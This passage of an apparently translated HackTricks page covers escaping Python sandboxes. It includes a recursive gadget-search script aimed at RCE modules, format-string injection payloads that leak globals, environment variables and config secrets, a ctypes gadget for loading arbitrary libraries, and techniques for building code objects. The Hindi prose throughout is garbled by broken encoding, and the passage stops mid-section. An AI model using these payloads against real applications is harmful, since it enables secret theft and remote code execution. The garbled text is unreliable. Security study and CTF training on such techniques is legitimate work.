_Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
Recursive Search of Builtins, Globals...
{% hint style="warning" %} рдпрд╣ рдмрд╕ рд╢рд╛рдирджрд╛рд░ рд╣реИред рдпрджрд┐ рдЖрдк globals, builtins, open рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рд╡рд╕реНрддреБ рдХреА рддрд▓рд╛рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рддреЛ рдмрд╕ рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ рдЖрдк рдЙрд╕ рд╡рд╕реНрддреБ рдХреЛ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рд╡рд╣рд╛рдБ рдкреБрдирд░рд╛рд╡реГрддреНрдд рд░реВрдк рд╕реЗ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдПред {% endhint %}
import os, sys # Import these to find more gadgets
SEARCH_FOR = {
# Misc
"__globals__": set(),
"builtins": set(),
"__builtins__": set(),
"open": set(),
# RCE libs
"os": set(),
"subprocess": set(),
"commands": set(),
"pty": set(),
"importlib": set(),
"imp": set(),
"sys": set(),
"pip": set(),
"pdb": set(),
# RCE methods
"system": set(),
"popen": set(),
"getstatusoutput": set(),
"getoutput": set(),
"call": set(),
"Popen": set(),
"popen": set(),
"spawn": set(),
"import_module": set(),
"__import__": set(),
"load_source": set(),
"execfile": set(),
"execute": set()
}
#More than 4 is very time consuming
MAX_CONT = 4
#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
#ALREADY_CHECKED = set()
def check_recursive(element, cont, name, orig_n, orig_i, execute):
# If bigger than maximum, stop
if cont > MAX_CONT:
return
# If already checked, stop
#if name and name in ALREADY_CHECKED:
# return
# Add to already checked
#if name:
# ALREADY_CHECKED.add(name)
# If found add to the dict
for k in SEARCH_FOR:
if k in dir(element) or (type(element) is dict and k in element):
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")
# Continue with the recursivity
for new_element in dir(element):
try:
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)
# WARNING: Calling random functions sometimes kills the script
# Comment this part if you notice that behaviour!!
if execute:
try:
if callable(getattr(element, new_element)):
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:
pass
except:
pass
# If in a dict, scan also each key, very important
if type(element) is dict:
for new_element in element:
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)
def main():
print("Checking from empty string...")
total = [""]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)
print()
print("Checking loaded subclasses...")
total = "".__class__.__base__.__subclasses__()
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)
print()
print("Checking from global functions...")
total = [print, check_recursive]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Global func {i}", False)
print()
print(SEARCH_FOR)
if __name__ == "__main__":
main()
рдЖрдк рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %} https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md {% endcontent-ref %}
Python рдлрд╝реЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ
рдпрджрд┐ рдЖрдк python рдХреЛ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рднреЗрдЬрддреЗ рд╣реИрдВ рдЬреЛ рдлреЙрд░реНрдореЗрдЯ рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╣реИ, рддреЛ рдЖрдк python рдЖрдВрддрд░рд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП {}
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЧреНрд▓реЛрдмрд▓реНрд╕ рдпрд╛ рдмрд┐рд▓реНрдЯ-рдЗрдиреНрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}
class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname
def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)
people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк attributes рдХреЛ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ рд╕реЗ dot рдХреЗ рд╕рд╛рде people_obj.__init__
рдФрд░ dict element рдХреЛ parenthesis рдХреЗ рд╕рд╛рде рдмрд┐рдирд╛ рдХреЛрдЯреНрд╕ рдХреЗ __globals__[CONFIG]
рд╕реЗ access рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдпрд╣ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк .__dict__
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рддрддреНрд╡реЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)
ред
рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреА рдХреБрдЫ рдЕрдиреНрдп рджрд┐рд▓рдЪрд╕реНрдк рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ str
, repr
рдФрд░ ascii
рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ !s
, !r
, !a
рдЬреЛрдбрд╝рдХрд░ executing рдХрд░рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛:
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХрдХреНрд╖рд╛рдУрдВ рдореЗрдВ рдирдП рдлреЙрд░реНрдореЗрдЯрд░реНрд╕ рдХреЛ рдХреЛрдб рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:
class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
рдЕрдзрд┐рдХ рдЙрджрд╛рд╣рд░рдг рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП https://pyformat.info/ рдкрд░ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ
{% hint style="danger" %} Python рдЖрдВрддрд░рд┐рдХ рд╡рд╕реНрддреБрдУрдВ рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЧреИрдЬреЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдХреА рднреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ: {% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %} python-internal-read-gadgets.md {% endcontent-ref %}
рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдкреНрд░рдХрдЯреАрдХрд░рдг рдкреЗрд▓реЛрдбреНрд╕
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}
# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
# Example from https://corgi.rip/posts/buckeye-writeups/
secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless
From format to RCE loading libraries
According to the TypeMonkey chall from this writeup рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдбрд┐рд╕реНрдХ рд╕реЗ рдордирдорд╛рдиреЗ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдП, рдкрд╛рдпрдерди рдореЗрдВ рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╡рд▓реНрдирд░реЗрдмрд┐рд▓рд┐рдЯреА рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗред
рдпрд╛рдж рджрд┐рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рд░ рдмрд╛рд░ рдЬрдм рдкрд╛рдпрдерди рдореЗрдВ рдХреЛрдИ рдХреНрд░рд┐рдпрд╛ рдХреА рдЬрд╛рддреА рд╣реИ, рддреЛ рдХреБрдЫ рдлрд╝рдВрдХреНрд╢рди рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП 2*3
(2).mul(3)
рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ рдпрд╛ {'a':'b'}['a']
{'a':'b'}.__getitem__('a')
рд╣реЛрдЧрд╛ред
рдЖрдкрдХреЗ рдкрд╛рд╕ рдЗрд╕ рддрд░рд╣ рдХреЗ рдФрд░ рднреА рдЙрджрд╛рд╣рд░рдг рд╣реИрдВ Python execution without calls рдЕрдиреБрднрд╛рдЧ рдореЗрдВред
рдПрдХ рдкрд╛рдпрдерди рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╡рд▓реНрдирд░реЗрдмрд┐рд▓рд┐рдЯреА рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддреА (рдпрд╣ рдХреЛрд╖реНрдардХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддреА), рдЗрд╕рд▓рд┐рдП RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ рдЬреИрд╕реЗ '{0.system("/bin/sh")}'.format(os)
ред
рд╣рд╛рд▓рд╛рдВрдХрд┐, []
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдкрд╛рдпрдерди рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЗрдВ __getitem__
рдпрд╛ __getattr__
рд╡рд┐рдзрд┐ рд╣реИ рдЬреЛ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреА рд╣реИ, рддреЛ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдирдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред
рдкрд╛рдпрдерди рдореЗрдВ рдЗрд╕ рддрд░рд╣ рдХреЗ рдЧреИрдЬреЗрдЯ рдХреА рддрд▓рд╛рд╢ рдХрд░рддреЗ рд╣реБрдП, рд▓реЗрдЦ рдореЗрдВ рдпрд╣ Github search query рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЬрд╣рд╛рдБ рдЙрдиреНрд╣реЛрдВрдиреЗ рдпрд╣ рдПрдХ рдкрд╛рдпрд╛:
class LibraryLoader(object):
def __init__(self, dlltype):
self._dlltype = dlltype
def __getattr__(self, name):
if name[0] == '_':
raise AttributeError(name)
try:
dll = self._dlltype(name)
except OSError:
raise AttributeError(name)
setattr(self, name, dll)
return dll
def __getitem__(self, name):
return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
рдпрд╣ рдЧреИрдЬреЗрдЯ рдбрд┐рд╕реНрдХ рд╕реЗ рдПрдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЗрд╕реЗ рдХрд┐рд╕реА рди рдХрд┐рд╕реА рддрд░рд╣ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рд▓рд┐рдЦрдиреЗ рдпрд╛ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬреЛ рд╣рдорд▓реЗ рдХреЗ рд╢рд┐рдХрд╛рд░ рд╕рд░реНрд╡рд░ рдкрд░ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд╕рдВрдХрд▓рд┐рдд рд╣реЛред
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.
Dissecting Python Objects
{% hint style="info" %} рдпрджрд┐ рдЖрдк python bytecode рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рд╕реАрдЦрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рдЗрд╕ рд╢рд╛рдирджрд╛рд░ рдкреЛрд╕реНрдЯ рдХреЛ рдкрдврд╝реЗрдВ: https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d {% endhint %}
рдХреБрдЫ CTFs рдореЗрдВ рдЖрдкрдХреЛ рдХрд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдирд╛рдо рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдлреНрд▓реИрдЧ рд╕реНрдерд┐рдд рд╣реИ рдФрд░ рдЖрдкрдХреЛ рдЗрд╕реЗ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЖрдВрддрд░рд┐рдХ рдХреЛ рджреЗрдЦрдирд╛ рд╣реЛрдЧрд╛ред
рдпрд╣ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рди рд╣реИ:
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"
dir
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
globals
__globals__
рдФрд░ func_globals
(рдПрдХ рд╕рдорд╛рди) рд╡реИрд╢реНрд╡рд┐рдХ рд╡рд╛рддрд╛рд╡рд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЖрдк рдХреБрдЫ рдЖрдпрд╛рддрд┐рдд рдореЙрдбреНрдпреВрд▓, рдХреБрдЫ рд╡реИрд╢реНрд╡рд┐рдХ рдЪрд░ рдФрд░ рдЙрдирдХреЗ рдШреЛрд╖рд┐рдд рд╕рд╛рдордЧреНрд░реА рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:
get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
рдлрдВрдХреНрд╢рди рдХреЛрдб рддрдХ рдкрд╣реБрдБрдЪрдирд╛
__code__
рдФрд░ func_code
: рдЖрдк рдлрдВрдХреНрд╢рди рдХреЗ рдЗрд╕ attribute рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдлрдВрдХреНрд╢рди рдХрд╛ рдХреЛрдб рдСрдмреНрдЬреЗрдХреНрдЯ рдХреНрдпрд╛ рд╣реИред
# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1
# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>
#Get the attributes of the code object
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
рдХреЛрдб рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛
# Another example
s = '''
a = 5
b = 'text'
def f(x):
return x
f(5)
'''
c=compile(s, "", "exec")
# __doc__: Get the description of the function, if any
print.__doc__
# co_consts: Constants
get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None
# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()
c.co_names
('a', 'b', 'f')
#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')
#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()
#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()
#Get bytecode
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдбрд┐рд╕рдЕрд╕реНрд╕реЗрдореНрдмрд▓реА
import dis
dis.dis(get_flag)
2 0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (var1)
3 6 LOAD_CONST 2 ('secretcode')
9 STORE_FAST 2 (var2)
4 12 LOAD_CONST 3 ('some')
15 LOAD_CONST 4 ('array')
18 BUILD_LIST 2
21 STORE_FAST 3 (var3)
5 24 LOAD_FAST 0 (some_input)
27 LOAD_FAST 2 (var2)
30 COMPARE_OP 2 (==)
33 POP_JUMP_IF_FALSE 40
6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!')
39 RETURN_VALUE
8 >> 40 LOAD_CONST 6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк python sandbox рдореЗрдВ dis
рдЖрдпрд╛рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рддреЛ рдЖрдк рдлрд╝рдВрдХреНрд╢рди рдХрд╛ bytecode рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (get_flag.func_code.co_code
) рдФрд░ рдЗрд╕реЗ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ disassemble рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рд▓реЛрдб рд╣реЛ рд░рд╣реЗ рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдХреА рд╕рд╛рдордЧреНрд░реА рдирд╣реАрдВ рджреЗрдЦреЗрдВрдЧреЗ (LOAD_CONST
) рд▓реЗрдХрд┐рди рдЖрдк рдЙрдиреНрд╣реЗрдВ (get_flag.func_code.co_consts
) рд╕реЗ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ LOAD_CONST
рднреА рд▓реЛрдб рд╣реЛ рд░рд╣реЗ рд╡реЗрд░рд┐рдПрдмрд▓ рдХрд╛ рдСрдлрд╕реЗрдЯ рдмрддрд╛рддрд╛ рд╣реИред
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (1)
6 LOAD_CONST 2 (2)
9 STORE_FAST 2 (2)
12 LOAD_CONST 3 (3)
15 LOAD_CONST 4 (4)
18 BUILD_LIST 2
21 STORE_FAST 3 (3)
24 LOAD_FAST 0 (0)
27 LOAD_FAST 2 (2)
30 COMPARE_OP 2 (==)
33 POP_JUMP_IF_FALSE 40
36 LOAD_CONST 5 (5)
39 RETURN_VALUE
>> 40 LOAD_CONST 6 (6)
43 RETURN_VALUE
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
Python рд╕рдВрдХрд▓рди
рдЕрдм, рдЪрд▓рд┐рдП рдХрд▓реНрдкрдирд╛ рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдХрд┐рд╕реА рддрд░рд╣ рдЖрдк рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдЖрдк рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
рдЬреИрд╕реЗ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдЖрдк рдЙрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдХреЛрдб рдСрдмреНрдЬреЗрдХреНрдЯ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ рдбрд┐рд╕реНрд╕реЗрдореНрдмрд▓ рдкрдврд╝рдиреЗ рд╕реЗ рдЖрдк рдлреНрд▓реИрдЧ рдХреА рдЧрдгрдирд╛ рдХреИрд╕реЗ рдХрд░реЗрдВ рдпрд╣ рдирд╣реАрдВ рдЬрд╛рдирддреЗ (рдПрдХ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ calc_flag
рдлрд╝рдВрдХреНрд╢рди рдХреА рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ)
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
рдХреЛрдб рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдирд╛
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдореЗрдВ рдпрд╣ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ рдХреЛрдб рдСрдмреНрдЬреЗрдХреНрдЯ рдХреИрд╕реЗ рдмрдирд╛рдпрд╛ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╣рдо рдПрдХ рдмрдирд╛ рд╕рдХреЗрдВ рдЬреЛ рд╣рдорд╛рд░реЗ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗ:
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)
# Execution
eval(code_obj) #Execute as a whole script
# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
{% hint style="info" %}
рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдП рдЬрд╛ рд░рд╣реЗ рдкрд╛рдпрдерди рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рдЕрдиреБрд╕рд╛рд░ code_type
рдХреЗ рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рд╡рд┐рднрд┐рдиреНрди рдХреНрд░рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдЬрд╛рдирдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╣реИ рдХрд┐ рдЖрдк рдЬрд┐рд╕ рдкрд╛рдпрдерди рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдЪрд▓рд╛ рд░рд╣реЗ рд╣реИрдВ, рдЙрд╕рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдХреНрд░рдо рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЪрд▓рд╛рдПрдБ:
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
{% endhint %}
рд▓реАрдХ рдХреА рдЧрдИ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдирд╛
{% hint style="warning" %}
